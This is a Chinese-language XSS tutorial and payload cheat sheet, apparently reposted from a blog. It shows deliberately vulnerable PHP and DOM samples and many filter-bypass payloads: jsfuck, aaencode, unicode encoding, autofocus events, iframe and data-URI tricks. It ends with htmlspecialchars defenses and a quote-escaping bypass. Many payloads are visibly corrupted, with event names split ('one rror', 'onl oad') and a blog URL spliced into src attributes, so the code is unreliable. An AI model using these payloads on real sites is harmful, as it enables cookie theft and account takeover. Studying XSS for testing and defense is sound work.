0x00 原理
??xss全稱為cross site scripting,中文為跨站腳本攻擊,它允許web用戶將惡意代碼植入到提供給用戶使用的頁面,代碼包括HTML代碼和客戶端腳本,
0x01 危害
- 盜取用戶賬戶(獲取cookie)
- 控制網頁資料
- 盜竊企業資料
- 非法轉賬
- 強制發送電子郵件
- 網站掛馬
- 控制受害者機器向其他網站發起攻擊
0x02 xss類別以及代碼實作
0x02.1 反射型xss
??反射型xss也叫非持久性xss,是一種常見的xss漏洞,但是危害較小,
后端代碼
<?php
highlight_file('reflect_xss.php');
$user=$_GET['user'];
echo $user;
?>
前端測驗

可以看到我們的js代碼被直接插入進了頁面執行,

根據需求可以構造各種各樣的js代碼
- <style></style>

因為沒設定cookie 所以不彈cookie
0x02.2 存盤型xss
??存盤型xss也被稱做持久型xss,存盤xss是最危險的一種跨站腳本,它被服務器接收并儲存,用戶訪問該網頁,這段xss就會被讀取出來到瀏覽器,
一般出現在留言板
后端代碼(拆了dvwa的xss存盤做測驗)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
審計原始碼 我們可以發現,先檢測了用戶是否輸入,然后對輸入的名字和內容進行檢測,最后將值插入到資料庫中
前端測驗

在當前頁面重繪后,會重新進行sql查詢,將查詢到的結果回傳到頁面上,


所以可以通過這種方式去獲取他人cookie,實作登錄他人賬號,
0x02.3 dom型xss
??dom型xss只發生在客戶端處理資料階段,可認為dom型xss就是出現在javascript中的漏洞,
前端代碼
<html>
<head>
<title>aa</title>
</head>
<body>
<script>
var temp=document.URL;
var index=document.URL.indexOf("content=")+4;
var par=temp.substring(index);
document.write(decodeURI(par));
</script>
</body>
</html>
關鍵是script標簽下的代碼,因為用到了document.write 使得用戶輸入的代碼被寫入到了頁面上,
前端測驗


0x03 xss常見payload中用到的標簽
<script>
<a>
<p>
<img>
<body>
<button>
<var>
<div>
<iframe>
<object>
<input>
<select>
<textarea>
<keygen>
<frameset>
<embed>
<svg>
<math>
<video>
<audio>
<style>
0x04 xss常見payload中用到的事件
onload
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
onclick
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
0x05 xss常見payload中用到的屬性
formaction
action
href
xlink:href
autofocus
src
content
data
0x06 xss繞過的一些技巧
屬性與屬性之間需要空格,而屬性與標簽之間可以不用
<img/src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(1)>通殺各種xss漏洞
使用html物體編碼
<a href=https://www.cnblogs.com/Dark1nt/p/javascript:alert(13)>M一般用于dom型

xlink:href隱藏鏈接
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>通殺

jsfuck編碼彈窗
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>一般用于dom型
網站: http://www.jsfuck.com/

aaencode編碼彈窗
<script>?ω??= /`m′)? ~┻━┻ //*′?`*/ ['_']; o=(???) =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) - (?Θ?))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');</script>一般用于dom型
網站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html

并不需要規范的script
<script ????>alert(1)</script>通殺

使用unicode編碼+html物體編碼
<script/src=https://www.cnblogs.com/Dark1nt/p/data:text/j/u0061v/u0061script,/u0061lert(/XSS/)></script>一般用到html物體編碼的只能殺dom型
使用unicode編碼
<script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script>通殺
不使用alert,使用別的事件彈窗
-
<script>prompt(-[])</script>通殺

-
<script>confirm(-[])</script>通殺

使用/替代單引號和雙引號
<script>alert(/3/)</script>通殺

使用String.fromCharCode 轉成 字符
<script>alert(String.fromCharCode(49))</script>通殺

執行代碼后加.source不影響代碼執行 加其他字符可能出現undefine
<script>alert(/shit/.source)</script>通殺

使用settimeout輸出alert
<script>setTimeout('alert(1)',0)</script>通殺

經典button alert
<button/onclick=alert(1) >M</button>通殺

過濾了所以on開頭事件
<form><button formaction=javascript:alert(1)>M一般適用于dom xss

無限彈,彈到死
<button onfocus=alert(1) autofocus>通殺

插入p標簽
<p/onmouseover=javascript:alert(1); >M</p>通殺
滑鼠移動到M

img標簽常用Payload
<img src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(1)>通殺<img src ?itworksonchrome?\/onerror = alert(1)>通殺,但只適用于谷歌<img src=https://www.cnblogs.com/Dark1nt/p/x one rror=window.open('http://google.com');>會被谷歌攔截

<img/src/onerror=alert(1)>通殺,適用于谷歌<img src="https://www.cnblogs.com/Dark1nt/p/x:kcf" one rror="alert(1)">通殺
body標簽常用payload
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>通殺<body onl oad=alert(1)>通殺
其實就是通過事件執行彈窗<body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus>通殺
var標簽常用payload
<var onm ouseover="prompt(1)">KCF</var>通殺

div標簽常用payload
<div/onmouseover='alert(1)'>X通殺<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">通殺

隱藏執行
iframe標簽常用payload
可以通過物體編碼
&Tab(換行和tab字符)來bypass一些filter,可以通過事先在swf檔案中插入我們的xss code,然后通過src屬性來呼叫,
只有在crossdomain.xml檔案中,allow-access-from domain=“"允許從外部呼叫swf時,我們才可以通過flash來實作xss attack.
-
<iframe src=https://www.cnblogs.com/Dark1nt/p/j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>一般用于dom型xss -
<iframe src=https://www.cnblogs.com/Dark1nt/p/j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>一般用于dom型xss

-
<iframe%20SRC="http://xss/xss.swf"></iframe>呼叫flash xss 通殺

-
<IFRAME SRC="javascript:alert(1);"></IFRAME>通殺

-
<iframe/onload=alert(53)></iframe>通殺
meta標簽常用payload
文章標題跑到meta標簽里,只需要跳出當前屬性再添加http-equiv="refresh",就可以構造一個有效的xss payload
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?測驗失敗<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">測驗失敗
object標簽常用payload
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>通殺
marquee標簽常用payload
<marquee onstart="alert('sometext')">as</marquee>測驗失敗
很有意思的標簽<marquee%20%20onclick=javascript:alert(/xss/)>as</marquee>通殺

isindex標簽常用payload
<isindex type=image src=https://www.cnblogs.com/Dark1nt/p/1 one rror=alert(1)>測驗失敗<isindex action=javascript:alert(1) type=image>測驗失敗
input標簽常用payload
input和Button差不多
<input onfocus=javascript:alert(1) autofocus>通殺<input onblur=javascript:alert(1) autofocus><input autofocus>通殺

select標簽常用payload
<select onfocus=javascript:alert(1) autofocus>通殺
textarea標簽常用payload
<textarea onfocus=javascript:alert(1) autofocus>通殺
keygen標簽常用payload
<keygen onfocus=javascript:alert(1) autofocus>測驗失敗
frameset標簽常用payload
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>測驗失敗<frameset onl oad=alert(1)>測驗失敗
embed標簽常用payload
-
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed>通殺 適用谷歌 -
<embed src=javascript:alert(1)>通殺 適用火狐
svg標簽常用payload
<svg onl oad="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>通殺<svg xmlns="http://www.w3.org/2000/svg"><g onl oad="javascript:alert(1)"></g></svg>測驗失敗 谷歌
math標簽常用payload
<math href="javascript:javascript:alert(1)">CLICKME</math>測驗失敗<math><y/xlink:href=javascript:alert(51)>test1測驗失敗-
xlink:href="javascript:alert(49)">CLICKME ``` 測驗失敗
vedio標簽常用payload
<video><source one rror="alert(1)">通殺<video src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(48)>通殺
audio標簽常用Payload
<audio src=https://www.cnblogs.com/Dark1nt/p/x one rror=alert(47)>通殺
凡是on開頭事件后出現javascript:都是多余的
0x07 xss防御方式
將<> 轉成html物體編碼顯示在頁面
&(和號)成為&
“(雙引號)成為"
‘(單引號)成為'
<(小于)成為< >( 大于)成為>
- htmlspecialchars()函式 通殺所有需要構造標簽的payload. 厲不厲害?不給hacker們留活路呢
后端代碼
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
echo htmlspecialchars($user);
?>
前端測驗



在源代碼中我們可以看到php函式htmlspecialchars將所有<> 都轉成了對應的html物體編碼,博客園里也用了這種方法,


默認轉義了雙引號和<>,其實已經夠了
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
#echo htmlspecialchars($user,ENT_COMPAT); 默認編碼雙引號
#echo htmlspecialchars($user,ENT_QUOTES); 編碼雙引號和單引號
#echo htmlspecialchars($user,ENT_NOQUOTES); 不編碼任何引號
?>
-
使用了ENT_COMPAT


-
使用了ENT_QUOTES

-
使用了ENT_NOQUOTES

0x08 xss里的<>被轉義了怎么繞過?
已經有辦法繞了,但是不能完全繞(必須某種特定情況)
- 如果用戶輸入的是直接插入到頁面中,則需要自己構造標簽,這種一般就不用考慮繞了,基本上是在浪費時間,
- 如果用戶輸入的是插入到頁面為我們構造好的標簽里,我們不用自己構造標簽,那就有很多方法來繞過了,
后端代碼
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
$html='<p value='https://www.cnblogs.com/Dark1nt/p/.htmlspecialchars($user).'>登錄</p>';
echo $html;
?>
只是簡單演示一下,實際情況有非常多,都是將用戶輸入的代碼直接插入了標簽中的某個屬性里,而且還是使用了默認的htmlspecialchars 不轉義單引號,萬變不離其中,
前端測驗


正常轉義
構造payload
- a onclick=javascript:alert(/xss/)


在原始碼中可以看到標簽完美閉合

回傳頁面 點擊登錄 彈窗
0x08 xss payload檢測網站
url: https://xsschop.chaitin.cn/demo/
0x09 xss真正防御方式
??函式不重要,重要的是開發者的安全意識,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/285867.html
標籤:訊息安全
